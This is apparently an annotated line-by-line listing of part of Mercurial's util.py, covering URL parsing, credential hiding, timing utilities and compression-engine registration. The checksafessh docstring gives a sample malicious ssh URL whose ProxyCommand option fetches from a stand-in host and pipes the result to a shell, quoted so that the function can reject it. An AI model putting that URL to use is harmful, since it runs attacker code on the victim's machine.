2760 if not (self.host.startswith('[') and self.host.endswith(']')):
2761 if not (self.host.startswith('[') and self.host.endswith(']')):
2761 s += urlreq.quote(self.host)
2762 s += urlreq.quote(self.host)
2762 else:
2763 else:
2763 s += self.host
2764 s += self.host
2764 if self.port:
2765 if self.port:
2765 s += ':' + urlreq.quote(self.port)
2766 s += ':' + urlreq.quote(self.port)
2766 if self.host:
2767 if self.host:
2767 s += '/'
2768 s += '/'
2768 if self.path:
2769 if self.path:
2769 # TODO: similar to the query string, we should not unescape the
2770 # TODO: similar to the query string, we should not unescape the
2770 # path when we store it, the path might contain '%2f' = '/',
2771 # path when we store it, the path might contain '%2f' = '/',
2771 # which we should *not* escape.
2772 # which we should *not* escape.
2772 s += urlreq.quote(self.path, safe=self._safepchars)
2773 s += urlreq.quote(self.path, safe=self._safepchars)
2773 if self.query:
2774 if self.query:
2774 # we store the query in escaped form.
2775 # we store the query in escaped form.
2775 s += '?' + self.query
2776 s += '?' + self.query
2776 if self.fragment is not None:
2777 if self.fragment is not None:
2777 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2778 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2778 return s
2779 return s
2779
2780
2780 __str__ = encoding.strmethod(__bytes__)
2781 __str__ = encoding.strmethod(__bytes__)
2781
2782
2782 def authinfo(self):
2783 def authinfo(self):
2783 user, passwd = self.user, self.passwd
2784 user, passwd = self.user, self.passwd
2784 try:
2785 try:
2785 self.user, self.passwd = None, None
2786 self.user, self.passwd = None, None
2786 s = bytes(self)
2787 s = bytes(self)
2787 finally:
2788 finally:
2788 self.user, self.passwd = user, passwd
2789 self.user, self.passwd = user, passwd
2789 if not self.user:
2790 if not self.user:
2790 return (s, None)
2791 return (s, None)
2791 # authinfo[1] is passed to urllib2 password manager, and its
2792 # authinfo[1] is passed to urllib2 password manager, and its
2792 # URIs must not contain credentials. The host is passed in the
2793 # URIs must not contain credentials. The host is passed in the
2793 # URIs list because Python < 2.4.3 uses only that to search for
2794 # URIs list because Python < 2.4.3 uses only that to search for
2794 # a password.
2795 # a password.
2795 return (s, (None, (s, self.host),
2796 return (s, (None, (s, self.host),
2796 self.user, self.passwd or ''))
2797 self.user, self.passwd or ''))
2797
2798
2798 def isabs(self):
2799 def isabs(self):
2799 if self.scheme and self.scheme != 'file':
2800 if self.scheme and self.scheme != 'file':
2800 return True # remote URL
2801 return True # remote URL
2801 if hasdriveletter(self.path):
2802 if hasdriveletter(self.path):
2802 return True # absolute for our purposes - can't be joined()
2803 return True # absolute for our purposes - can't be joined()
2803 if self.path.startswith(br'\\'):
2804 if self.path.startswith(br'\\'):
2804 return True # Windows UNC path
2805 return True # Windows UNC path
2805 if self.path.startswith('/'):
2806 if self.path.startswith('/'):
2806 return True # POSIX-style
2807 return True # POSIX-style
2807 return False
2808 return False
2808
2809
2809 def localpath(self):
2810 def localpath(self):
2810 if self.scheme == 'file' or self.scheme == 'bundle':
2811 if self.scheme == 'file' or self.scheme == 'bundle':
2811 path = self.path or '/'
2812 path = self.path or '/'
2812 # For Windows, we need to promote hosts containing drive
2813 # For Windows, we need to promote hosts containing drive
2813 # letters to paths with drive letters.
2814 # letters to paths with drive letters.
2814 if hasdriveletter(self._hostport):
2815 if hasdriveletter(self._hostport):
2815 path = self._hostport + '/' + self.path
2816 path = self._hostport + '/' + self.path
2816 elif (self.host is not None and self.path
2817 elif (self.host is not None and self.path
2817 and not hasdriveletter(path)):
2818 and not hasdriveletter(path)):
2818 path = '/' + path
2819 path = '/' + path
2819 return path
2820 return path
2820 return self._origpath
2821 return self._origpath
2821
2822
2822 def islocal(self):
2823 def islocal(self):
2823 '''whether localpath will return something that posixfile can open'''
2824 '''whether localpath will return something that posixfile can open'''
2824 return (not self.scheme or self.scheme == 'file'
2825 return (not self.scheme or self.scheme == 'file'
2825 or self.scheme == 'bundle')
2826 or self.scheme == 'bundle')
2826
2827
2827 def hasscheme(path):
2828 def hasscheme(path):
2828 return bool(url(path).scheme)
2829 return bool(url(path).scheme)
2829
2830
2830 def hasdriveletter(path):
2831 def hasdriveletter(path):
2831 return path and path[1:2] == ':' and path[0:1].isalpha()
2832 return path and path[1:2] == ':' and path[0:1].isalpha()
2832
2833
2833 def urllocalpath(path):
2834 def urllocalpath(path):
2834 return url(path, parsequery=False, parsefragment=False).localpath()
2835 return url(path, parsequery=False, parsefragment=False).localpath()
2835
2836
2836 def checksafessh(path):
2837 def checksafessh(path):
2837 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2838 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2838
2839
2839 This is a sanity check for ssh urls. ssh will parse the first item as
2840 This is a sanity check for ssh urls. ssh will parse the first item as
2840 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2841 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2841 Let's prevent these potentially exploited urls entirely and warn the
2842 Let's prevent these potentially exploited urls entirely and warn the
2842 user.
2843 user.
2843
2844
2844 Raises an error.Abort when the url is unsafe.
2845 Raises an error.Abort when the url is unsafe.
2845 """
2846 """
2846 path = urlreq.unquote(path)
2847 path = urlreq.unquote(path)
2847 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2848 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2848 raise error.Abort(_('potentially unsafe url: %r') %
2849 raise error.Abort(_('potentially unsafe url: %r') %
2849 (pycompat.bytestr(path),))
2850 (pycompat.bytestr(path),))
2850
2851
2851 def hidepassword(u):
2852 def hidepassword(u):
2852 '''hide user credential in a url string'''
2853 '''hide user credential in a url string'''
2853 u = url(u)
2854 u = url(u)
2854 if u.passwd:
2855 if u.passwd:
2855 u.passwd = '***'
2856 u.passwd = '***'
2856 return bytes(u)
2857 return bytes(u)
2857
2858
2858 def removeauth(u):
2859 def removeauth(u):
2859 '''remove all authentication information from a url string'''
2860 '''remove all authentication information from a url string'''
2860 u = url(u)
2861 u = url(u)
2861 u.user = u.passwd = None
2862 u.user = u.passwd = None
2862 return bytes(u)
2863 return bytes(u)
2863
2864
2864 timecount = unitcountfn(
2865 timecount = unitcountfn(
2865 (1, 1e3, _('%.0f s')),
2866 (1, 1e3, _('%.0f s')),
2866 (100, 1, _('%.1f s')),
2867 (100, 1, _('%.1f s')),
2867 (10, 1, _('%.2f s')),
2868 (10, 1, _('%.2f s')),
2868 (1, 1, _('%.3f s')),
2869 (1, 1, _('%.3f s')),
2869 (100, 0.001, _('%.1f ms')),
2870 (100, 0.001, _('%.1f ms')),
2870 (10, 0.001, _('%.2f ms')),
2871 (10, 0.001, _('%.2f ms')),
2871 (1, 0.001, _('%.3f ms')),
2872 (1, 0.001, _('%.3f ms')),
2872 (100, 0.000001, _('%.1f us')),
2873 (100, 0.000001, _('%.1f us')),
2873 (10, 0.000001, _('%.2f us')),
2874 (10, 0.000001, _('%.2f us')),
2874 (1, 0.000001, _('%.3f us')),
2875 (1, 0.000001, _('%.3f us')),
2875 (100, 0.000000001, _('%.1f ns')),
2876 (100, 0.000000001, _('%.1f ns')),
2876 (10, 0.000000001, _('%.2f ns')),
2877 (10, 0.000000001, _('%.2f ns')),
2877 (1, 0.000000001, _('%.3f ns')),
2878 (1, 0.000000001, _('%.3f ns')),
2878 )
2879 )
2879
2880
2880 @attr.s
2881 @attr.s
2881 class timedcmstats(object):
2882 class timedcmstats(object):
2882 """Stats information produced by the timedcm context manager on entering."""
2883 """Stats information produced by the timedcm context manager on entering."""
2883
2884
2884 # the starting value of the timer as a float (meaning and resulution is
2885 # the starting value of the timer as a float (meaning and resulution is
2885 # platform dependent, see util.timer)
2886 # platform dependent, see util.timer)
2886 start = attr.ib(default=attr.Factory(lambda: timer()))
2887 start = attr.ib(default=attr.Factory(lambda: timer()))
2887 # the number of seconds as a floating point value; starts at 0, updated when
2888 # the number of seconds as a floating point value; starts at 0, updated when
2888 # the context is exited.
2889 # the context is exited.
2889 elapsed = attr.ib(default=0)
2890 elapsed = attr.ib(default=0)
2890 # the number of nested timedcm context managers.
2891 # the number of nested timedcm context managers.
2891 level = attr.ib(default=1)
2892 level = attr.ib(default=1)
2892
2893
2893 def __bytes__(self):
2894 def __bytes__(self):
2894 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2895 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2895
2896
2896 __str__ = encoding.strmethod(__bytes__)
2897 __str__ = encoding.strmethod(__bytes__)
2897
2898
2898 @contextlib.contextmanager
2899 @contextlib.contextmanager
2899 def timedcm():
2900 def timedcm(whencefmt='unknown timedcm', *whenceargs):
2900 """A context manager that produces timing information for a given context.
2901 """A context manager that produces timing information for a given context.
2901
2902
2902 On entering a timedcmstats instance is produced.
2903 On entering a timedcmstats instance is produced.
2903
2904
2904 This context manager is reentrant.
2905 This context manager is reentrant.
2905
2906
2906 """
2907 """
2907 # track nested context managers
2908 # track nested context managers
2908 timedcm._nested += 1
2909 timedcm._nested += 1
2909 timing_stats = timedcmstats(level=timedcm._nested)
2910 timing_stats = timedcmstats(level=timedcm._nested)
2910 try:
2911 try:
2911 yield timing_stats
2912 with tracing.log(whencefmt, *whenceargs):
2913 yield timing_stats
2912 finally:
2914 finally:
2913 timing_stats.elapsed = timer() - timing_stats.start
2915 timing_stats.elapsed = timer() - timing_stats.start
2914 timedcm._nested -= 1
2916 timedcm._nested -= 1
2915
2917
2916 timedcm._nested = 0
2918 timedcm._nested = 0
2917
2919
2918 def timed(func):
2920 def timed(func):
2919 '''Report the execution time of a function call to stderr.
2921 '''Report the execution time of a function call to stderr.
2920
2922
2921 During development, use as a decorator when you need to measure
2923 During development, use as a decorator when you need to measure
2922 the cost of a function, e.g. as follows:
2924 the cost of a function, e.g. as follows:
2923
2925
2924 @util.timed
2926 @util.timed
2925 def foo(a, b, c):
2927 def foo(a, b, c):
2926 pass
2928 pass
2927 '''
2929 '''
2928
2930
2929 def wrapper(*args, **kwargs):
2931 def wrapper(*args, **kwargs):
2930 with timedcm() as time_stats:
2932 with timedcm() as time_stats:
2931 result = func(*args, **kwargs)
2933 result = func(*args, **kwargs)
2932 stderr = procutil.stderr
2934 stderr = procutil.stderr
2933 stderr.write('%s%s: %s\n' % (
2935 stderr.write('%s%s: %s\n' % (
2934 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2936 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2935 time_stats))
2937 time_stats))
2936 return result
2938 return result
2937 return wrapper
2939 return wrapper
2938
2940
2939 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2941 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2940 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2942 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2941
2943
2942 def sizetoint(s):
2944 def sizetoint(s):
2943 '''Convert a space specifier to a byte count.
2945 '''Convert a space specifier to a byte count.
2944
2946
2945 >>> sizetoint(b'30')
2947 >>> sizetoint(b'30')
2946 30
2948 30
2947 >>> sizetoint(b'2.2kb')
2949 >>> sizetoint(b'2.2kb')
2948 2252
2950 2252
2949 >>> sizetoint(b'6M')
2951 >>> sizetoint(b'6M')
2950 6291456
2952 6291456
2951 '''
2953 '''
2952 t = s.strip().lower()
2954 t = s.strip().lower()
2953 try:
2955 try:
2954 for k, u in _sizeunits:
2956 for k, u in _sizeunits:
2955 if t.endswith(k):
2957 if t.endswith(k):
2956 return int(float(t[:-len(k)]) * u)
2958 return int(float(t[:-len(k)]) * u)
2957 return int(t)
2959 return int(t)
2958 except ValueError:
2960 except ValueError:
2959 raise error.ParseError(_("couldn't parse size: %s") % s)
2961 raise error.ParseError(_("couldn't parse size: %s") % s)
2960
2962
2961 class hooks(object):
2963 class hooks(object):
2962 '''A collection of hook functions that can be used to extend a
2964 '''A collection of hook functions that can be used to extend a
2963 function's behavior. Hooks are called in lexicographic order,
2965 function's behavior. Hooks are called in lexicographic order,
2964 based on the names of their sources.'''
2966 based on the names of their sources.'''
2965
2967
2966 def __init__(self):
2968 def __init__(self):
2967 self._hooks = []
2969 self._hooks = []
2968
2970
2969 def add(self, source, hook):
2971 def add(self, source, hook):
2970 self._hooks.append((source, hook))
2972 self._hooks.append((source, hook))
2971
2973
2972 def __call__(self, *args):
2974 def __call__(self, *args):
2973 self._hooks.sort(key=lambda x: x[0])
2975 self._hooks.sort(key=lambda x: x[0])
2974 results = []
2976 results = []
2975 for source, hook in self._hooks:
2977 for source, hook in self._hooks:
2976 results.append(hook(*args))
2978 results.append(hook(*args))
2977 return results
2979 return results
2978
2980
2979 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2981 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2980 '''Yields lines for a nicely formatted stacktrace.
2982 '''Yields lines for a nicely formatted stacktrace.
2981 Skips the 'skip' last entries, then return the last 'depth' entries.
2983 Skips the 'skip' last entries, then return the last 'depth' entries.
2982 Each file+linenumber is formatted according to fileline.
2984 Each file+linenumber is formatted according to fileline.
2983 Each line is formatted according to line.
2985 Each line is formatted according to line.
2984 If line is None, it yields:
2986 If line is None, it yields:
2985 length of longest filepath+line number,
2987 length of longest filepath+line number,
2986 filepath+linenumber,
2988 filepath+linenumber,
2987 function
2989 function
2988
2990
2989 Not be used in production code but very convenient while developing.
2991 Not be used in production code but very convenient while developing.
2990 '''
2992 '''
2991 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2993 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2992 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2994 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2993 ][-depth:]
2995 ][-depth:]
2994 if entries:
2996 if entries:
2995 fnmax = max(len(entry[0]) for entry in entries)
2997 fnmax = max(len(entry[0]) for entry in entries)
2996 for fnln, func in entries:
2998 for fnln, func in entries:
2997 if line is None:
2999 if line is None:
2998 yield (fnmax, fnln, func)
3000 yield (fnmax, fnln, func)
2999 else:
3001 else:
3000 yield line % (fnmax, fnln, func)
3002 yield line % (fnmax, fnln, func)
3001
3003
3002 def debugstacktrace(msg='stacktrace', skip=0,
3004 def debugstacktrace(msg='stacktrace', skip=0,
3003 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3005 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3004 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3006 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3005 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3007 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3006 By default it will flush stdout first.
3008 By default it will flush stdout first.
3007 It can be used everywhere and intentionally does not require an ui object.
3009 It can be used everywhere and intentionally does not require an ui object.
3008 Not be used in production code but very convenient while developing.
3010 Not be used in production code but very convenient while developing.
3009 '''
3011 '''
3010 if otherf:
3012 if otherf:
3011 otherf.flush()
3013 otherf.flush()
3012 f.write('%s at:\n' % msg.rstrip())
3014 f.write('%s at:\n' % msg.rstrip())
3013 for line in getstackframes(skip + 1, depth=depth):
3015 for line in getstackframes(skip + 1, depth=depth):
3014 f.write(line)
3016 f.write(line)
3015 f.flush()
3017 f.flush()
3016
3018
3017 class dirs(object):
3019 class dirs(object):
3018 '''a multiset of directory names from a dirstate or manifest'''
3020 '''a multiset of directory names from a dirstate or manifest'''
3019
3021
3020 def __init__(self, map, skip=None):
3022 def __init__(self, map, skip=None):
3021 self._dirs = {}
3023 self._dirs = {}
3022 addpath = self.addpath
3024 addpath = self.addpath
3023 if safehasattr(map, 'iteritems') and skip is not None:
3025 if safehasattr(map, 'iteritems') and skip is not None:
3024 for f, s in map.iteritems():
3026 for f, s in map.iteritems():
3025 if s[0] != skip:
3027 if s[0] != skip:
3026 addpath(f)
3028 addpath(f)
3027 else:
3029 else:
3028 for f in map:
3030 for f in map:
3029 addpath(f)
3031 addpath(f)
3030
3032
3031 def addpath(self, path):
3033 def addpath(self, path):
3032 dirs = self._dirs
3034 dirs = self._dirs
3033 for base in finddirs(path):
3035 for base in finddirs(path):
3034 if base in dirs:
3036 if base in dirs:
3035 dirs[base] += 1
3037 dirs[base] += 1
3036 return
3038 return
3037 dirs[base] = 1
3039 dirs[base] = 1
3038
3040
3039 def delpath(self, path):
3041 def delpath(self, path):
3040 dirs = self._dirs
3042 dirs = self._dirs
3041 for base in finddirs(path):
3043 for base in finddirs(path):
3042 if dirs[base] > 1:
3044 if dirs[base] > 1:
3043 dirs[base] -= 1
3045 dirs[base] -= 1
3044 return
3046 return
3045 del dirs[base]
3047 del dirs[base]
3046
3048
3047 def __iter__(self):
3049 def __iter__(self):
3048 return iter(self._dirs)
3050 return iter(self._dirs)
3049
3051
3050 def __contains__(self, d):
3052 def __contains__(self, d):
3051 return d in self._dirs
3053 return d in self._dirs
3052
3054
3053 if safehasattr(parsers, 'dirs'):
3055 if safehasattr(parsers, 'dirs'):
3054 dirs = parsers.dirs
3056 dirs = parsers.dirs
3055
3057
3056 def finddirs(path):
3058 def finddirs(path):
3057 pos = path.rfind('/')
3059 pos = path.rfind('/')
3058 while pos != -1:
3060 while pos != -1:
3059 yield path[:pos]
3061 yield path[:pos]
3060 pos = path.rfind('/', 0, pos)
3062 pos = path.rfind('/', 0, pos)
3061
3063
3062 # compression code
3064 # compression code
3063
3065
3064 SERVERROLE = 'server'
3066 SERVERROLE = 'server'
3065 CLIENTROLE = 'client'
3067 CLIENTROLE = 'client'
3066
3068
3067 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3069 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3068 (u'name', u'serverpriority',
3070 (u'name', u'serverpriority',
3069 u'clientpriority'))
3071 u'clientpriority'))
3070
3072
3071 class compressormanager(object):
3073 class compressormanager(object):
3072 """Holds registrations of various compression engines.
3074 """Holds registrations of various compression engines.
3073
3075
3074 This class essentially abstracts the differences between compression
3076 This class essentially abstracts the differences between compression
3075 engines to allow new compression formats to be added easily, possibly from
3077 engines to allow new compression formats to be added easily, possibly from
3076 extensions.
3078 extensions.
3077
3079
3078 Compressors are registered against the global instance by calling its
3080 Compressors are registered against the global instance by calling its
3079 ``register()`` method.
3081 ``register()`` method.
3080 """
3082 """
3081 def __init__(self):
3083 def __init__(self):
3082 self._engines = {}
3084 self._engines = {}
3083 # Bundle spec human name to engine name.
3085 # Bundle spec human name to engine name.
3084 self._bundlenames = {}
3086 self._bundlenames = {}
3085 # Internal bundle identifier to engine name.
3087 # Internal bundle identifier to engine name.
3086 self._bundletypes = {}
3088 self._bundletypes = {}
3087 # Revlog header to engine name.
3089 # Revlog header to engine name.
3088 self._revlogheaders = {}
3090 self._revlogheaders = {}
3089 # Wire proto identifier to engine name.
3091 # Wire proto identifier to engine name.
3090 self._wiretypes = {}
3092 self._wiretypes = {}
3091
3093
3092 def __getitem__(self, key):
3094 def __getitem__(self, key):
3093 return self._engines[key]
3095 return self._engines[key]
3094
3096
3095 def __contains__(self, key):
3097 def __contains__(self, key):
3096 return key in self._engines
3098 return key in self._engines
3097
3099
3098 def __iter__(self):
3100 def __iter__(self):
3099 return iter(self._engines.keys())
3101 return iter(self._engines.keys())
3100
3102
3101 def register(self, engine):
3103 def register(self, engine):
3102 """Register a compression engine with the manager.
3104 """Register a compression engine with the manager.
3103
3105
3104 The argument must be a ``compressionengine`` instance.
3106 The argument must be a ``compressionengine`` instance.
3105 """
3107 """
3106 if not isinstance(engine, compressionengine):
3108 if not isinstance(engine, compressionengine):
3107 raise ValueError(_('argument must be a compressionengine'))
3109 raise ValueError(_('argument must be a compressionengine'))
3108
3110
3109 name = engine.name()
3111 name = engine.name()
3110
3112
3111 if name in self._engines:
3113 if name in self._engines:
3112 raise error.Abort(_('compression engine %s already registered') %
3114 raise error.Abort(_('compression engine %s already registered') %
3113 name)
3115 name)
3114
3116
3115 bundleinfo = engine.bundletype()
3117 bundleinfo = engine.bundletype()
3116 if bundleinfo:
3118 if bundleinfo:
3117 bundlename, bundletype = bundleinfo
3119 bundlename, bundletype = bundleinfo
3118
3120
3119 if bundlename in self._bundlenames:
3121 if bundlename in self._bundlenames:
3120 raise error.Abort(_('bundle name %s already registered') %
3122 raise error.Abort(_('bundle name %s already registered') %
3121 bundlename)
3123 bundlename)
3122 if bundletype in self._bundletypes:
3124 if bundletype in self._bundletypes:
3123 raise error.Abort(_('bundle type %s already registered by %s') %
3125 raise error.Abort(_('bundle type %s already registered by %s') %
3124 (bundletype, self._bundletypes[bundletype]))
3126 (bundletype, self._bundletypes[bundletype]))
3125
3127
3126 # No external facing name declared.
3128 # No external facing name declared.
3127 if bundlename:
3129 if bundlename:
3128 self._bundlenames[bundlename] = name
3130 self._bundlenames[bundlename] = name
3129
3131
3130 self._bundletypes[bundletype] = name
3132 self._bundletypes[bundletype] = name
3131
3133
3132 wiresupport = engine.wireprotosupport()
3134 wiresupport = engine.wireprotosupport()
3133 if wiresupport:
3135 if wiresupport:
3134 wiretype = wiresupport.name
3136 wiretype = wiresupport.name
3135 if wiretype in self._wiretypes:
3137 if wiretype in self._wiretypes:
3136 raise error.Abort(_('wire protocol compression %s already '
3138 raise error.Abort(_('wire protocol compression %s already '
3137 'registered by %s') %
3139 'registered by %s') %
3138 (wiretype, self._wiretypes[wiretype]))
3140 (wiretype, self._wiretypes[wiretype]))
3139
3141
3140 self._wiretypes[wiretype] = name
3142 self._wiretypes[wiretype] = name
3141
3143
3142 revlogheader = engine.revlogheader()
3144 revlogheader = engine.revlogheader()
3143 if revlogheader and revlogheader in self._revlogheaders:
3145 if revlogheader and revlogheader in self._revlogheaders:
3144 raise error.Abort(_('revlog header %s already registered by %s') %
3146 raise error.Abort(_('revlog header %s already registered by %s') %
3145 (revlogheader, self._revlogheaders[revlogheader]))
3147 (revlogheader, self._revlogheaders[revlogheader]))
3146
3148
3147 if revlogheader:
3149 if revlogheader:
3148 self._revlogheaders[revlogheader] = name
3150 self._revlogheaders[revlogheader] = name
3149
3151
3150 self._engines[name] = engine
3152 self._engines[name] = engine
3151
3153
3152 @property
3154 @property
3153 def supportedbundlenames(self):
3155 def supportedbundlenames(self):
3154 return set(self._bundlenames.keys())
3156 return set(self._bundlenames.keys())
3155
3157
3156 @property
3158 @property
3157 def supportedbundletypes(self):
3159 def supportedbundletypes(self):
3158 return set(self._bundletypes.keys())
3160 return set(self._bundletypes.keys())
3159
3161
3160 def forbundlename(self, bundlename):
3162 def forbundlename(self, bundlename):
3161 """Obtain a compression engine registered to a bundle name.
3163 """Obtain a compression engine registered to a bundle name.
3162
3164
3163 Will raise KeyError if the bundle type isn't registered.
3165 Will raise KeyError if the bundle type isn't registered.
3164
3166
3165 Will abort if the engine is known but not available.
3167 Will abort if the engine is known but not available.
3166 """
3168 """
3167 engine = self._engines[self._bundlenames[bundlename]]
3169 engine = self._engines[self._bundlenames[bundlename]]
3168 if not engine.available():
3170 if not engine.available():
3169 raise error.Abort(_('compression engine %s could not be loaded') %
3171 raise error.Abort(_('compression engine %s could not be loaded') %
3170 engine.name())
3172 engine.name())
3171 return engine
3173 return engine
3172
3174
3173 def forbundletype(self, bundletype):
3175 def forbundletype(self, bundletype):
3174 """Obtain a compression engine registered to a bundle type.
3176 """Obtain a compression engine registered to a bundle type.
3175
3177
3176 Will raise KeyError if the bundle type isn't registered.
3178 Will raise KeyError if the bundle type isn't registered.
3177
3179
3178 Will abort if the engine is known but not available.
3180 Will abort if the engine is known but not available.
3179 """
3181 """
3180 engine = self._engines[self._bundletypes[bundletype]]
3182 engine = self._engines[self._bundletypes[bundletype]]
3181 if not engine.available():
3183 if not engine.available():
3182 raise error.Abort(_('compression engine %s could not be loaded') %
3184 raise error.Abort(_('compression engine %s could not be loaded') %
3183 engine.name())
3185 engine.name())
3184 return engine
3186 return engine
3185
3187
3186 def supportedwireengines(self, role, onlyavailable=True):
3188 def supportedwireengines(self, role, onlyavailable=True):
3187 """Obtain compression engines that support the wire protocol.
3189 """Obtain compression engines that support the wire protocol.
3188
3190
3189 Returns a list of engines in prioritized order, most desired first.
3191 Returns a list of engines in prioritized order, most desired first.
3190
3192
3191 If ``onlyavailable`` is set, filter out engines that can't be
3193 If ``onlyavailable`` is set, filter out engines that can't be
3192 loaded.
3194 loaded.
3193 """
3195 """
3194 assert role in (SERVERROLE, CLIENTROLE)
3196 assert role in (SERVERROLE, CLIENTROLE)
3195
3197
3196 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3198 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3197
3199
3198 engines = [self._engines[e] for e in self._wiretypes.values()]
3200 engines = [self._engines[e] for e in self._wiretypes.values()]
3199 if onlyavailable:
3201 if onlyavailable:
3200 engines = [e for e in engines if e.available()]
3202 engines = [e for e in engines if e.available()]
3201
3203
3202 def getkey(e):
3204 def getkey(e):
3203 # Sort first by priority, highest first. In case of tie, sort
3205 # Sort first by priority, highest first. In case of tie, sort
3204 # alphabetically. This is arbitrary, but ensures output is
3206 # alphabetically. This is arbitrary, but ensures output is
3205 # stable.
3207 # stable.
3206 w = e.wireprotosupport()
3208 w = e.wireprotosupport()
3207 return -1 * getattr(w, attr), w.name
3209 return -1 * getattr(w, attr), w.name
3208
3210
3209 return list(sorted(engines, key=getkey))
3211 return list(sorted(engines, key=getkey))
3210
3212
3211 def forwiretype(self, wiretype):
3213 def forwiretype(self, wiretype):
3212 engine = self._engines[self._wiretypes[wiretype]]
3214 engine = self._engines[self._wiretypes[wiretype]]
3213 if not engine.available():
3215 if not engine.available():
3214 raise error.Abort(_('compression engine %s could not be loaded') %
3216 raise error.Abort(_('compression engine %s could not be loaded') %
3215 engine.name())
3217 engine.name())
3216 return engine
3218 return engine
3217
3219
3218 def forrevlogheader(self, header):
3220 def forrevlogheader(self, header):
3219 """Obtain a compression engine registered to a revlog header.
3221 """Obtain a compression engine registered to a revlog header.
3220
3222
3221 Will raise KeyError if the revlog header value isn't registered.
3223 Will raise KeyError if the revlog header value isn't registered.
3222 """
3224 """
3223 return self._engines[self._revlogheaders[header]]
3225 return self._engines[self._revlogheaders[header]]
3224
3226
3225 compengines = compressormanager()
3227 compengines = compressormanager()
3226
3228
3227 class compressionengine(object):
3229 class compressionengine(object):
3228 """Base class for compression engines.
3230 """Base class for compression engines.
3229
3231
3230 Compression engines must implement the interface defined by this class.
3232 Compression engines must implement the interface defined by this class.
3231 """
3233 """
3232 def name(self):
3234 def name(self):
3233 """Returns the name of the compression engine.
3235 """Returns the name of the compression engine.
3234
3236
3235 This is the key the engine is registered under.
3237 This is the key the engine is registered under.
3236
3238
3237 This method must be implemented.
3239 This method must be implemented.
3238 """
3240 """
3239 raise NotImplementedError()
3241 raise NotImplementedError()
3240
3242
3241 def available(self):
3243 def available(self):
3242 """Whether the compression engine is available.
3244 """Whether the compression engine is available.
3243
3245
3244 The intent of this method is to allow optional compression engines
3246 The intent of this method is to allow optional compression engines
3245 that may not be available in all installations (such as engines relying
3247 that may not be available in all installations (such as engines relying
3246 on C extensions that may not be present).
3248 on C extensions that may not be present).
3247 """
3249 """
3248 return True
3250 return True
3249
3251
3250 def bundletype(self):
3252 def bundletype(self):
3251 """Describes bundle identifiers for this engine.
3253 """Describes bundle identifiers for this engine.
3252
3254
3253 If this compression engine isn't supported for bundles, returns None.
3255 If this compression engine isn't supported for bundles, returns None.
3254
3256
3255 If this engine can be used for bundles, returns a 2-tuple of strings of
3257 If this engine can be used for bundles, returns a 2-tuple of strings of
3256 the user-facing "bundle spec" compression name and an internal
3258 the user-facing "bundle spec" compression name and an internal
3257 identifier used to denote the compression format within bundles. To
3259 identifier used to denote the compression format within bundles. To
3258 exclude the name from external usage, set the first element to ``None``.
3260 exclude the name from external usage, set the first element to ``None``.
3259
3261
3260 If bundle compression is supported, the class must also implement
3262 If bundle compression is supported, the class must also implement
3261 ``compressstream`` and `decompressorreader``.
3263 ``compressstream`` and `decompressorreader``.
3262
3264
3263 The docstring of this method is used in the help system to tell users
3265 The docstring of this method is used in the help system to tell users
3264 about this engine.
3266 about this engine.
3265 """
3267 """
3266 return None
3268 return None
3267
3269
3268 def wireprotosupport(self):
3270 def wireprotosupport(self):
3269 """Declare support for this compression format on the wire protocol.
3271 """Declare support for this compression format on the wire protocol.
3270
3272
3271 If this compression engine isn't supported for compressing wire
3273 If this compression engine isn't supported for compressing wire
3272 protocol payloads, returns None.
3274 protocol payloads, returns None.
3273
3275
3274 Otherwise, returns ``compenginewireprotosupport`` with the following
3276 Otherwise, returns ``compenginewireprotosupport`` with the following
3275 fields:
3277 fields:
3276
3278
3277 * String format identifier
3279 * String format identifier
3278 * Integer priority for the server
3280 * Integer priority for the server
3279 * Integer priority for the client
3281 * Integer priority for the client
3280
3282
3281 The integer priorities are used to order the advertisement of format
3283 The integer priorities are used to order the advertisement of format
3282 support by server and client. The highest integer is advertised
3284 support by server and client. The highest integer is advertised
3283 first. Integers with non-positive values aren't advertised.
3285 first. Integers with non-positive values aren't advertised.
3284
3286
3285 The priority values are somewhat arbitrary and only used for default
3287 The priority values are somewhat arbitrary and only used for default
3286 ordering. The relative order can be changed via config options.
3288 ordering. The relative order can be changed via config options.
3287
3289
3288 If wire protocol compression is supported, the class must also implement
3290 If wire protocol compression is supported, the class must also implement
3289 ``compressstream`` and ``decompressorreader``.
3291 ``compressstream`` and ``decompressorreader``.
3290 """
3292 """
3291 return None
3293 return None
3292
3294
3293 def revlogheader(self):
3295 def revlogheader(self):
3294 """Header added to revlog chunks that identifies this engine.
3296 """Header added to revlog chunks that identifies this engine.
3295
3297
3296 If this engine can be used to compress revlogs, this method should
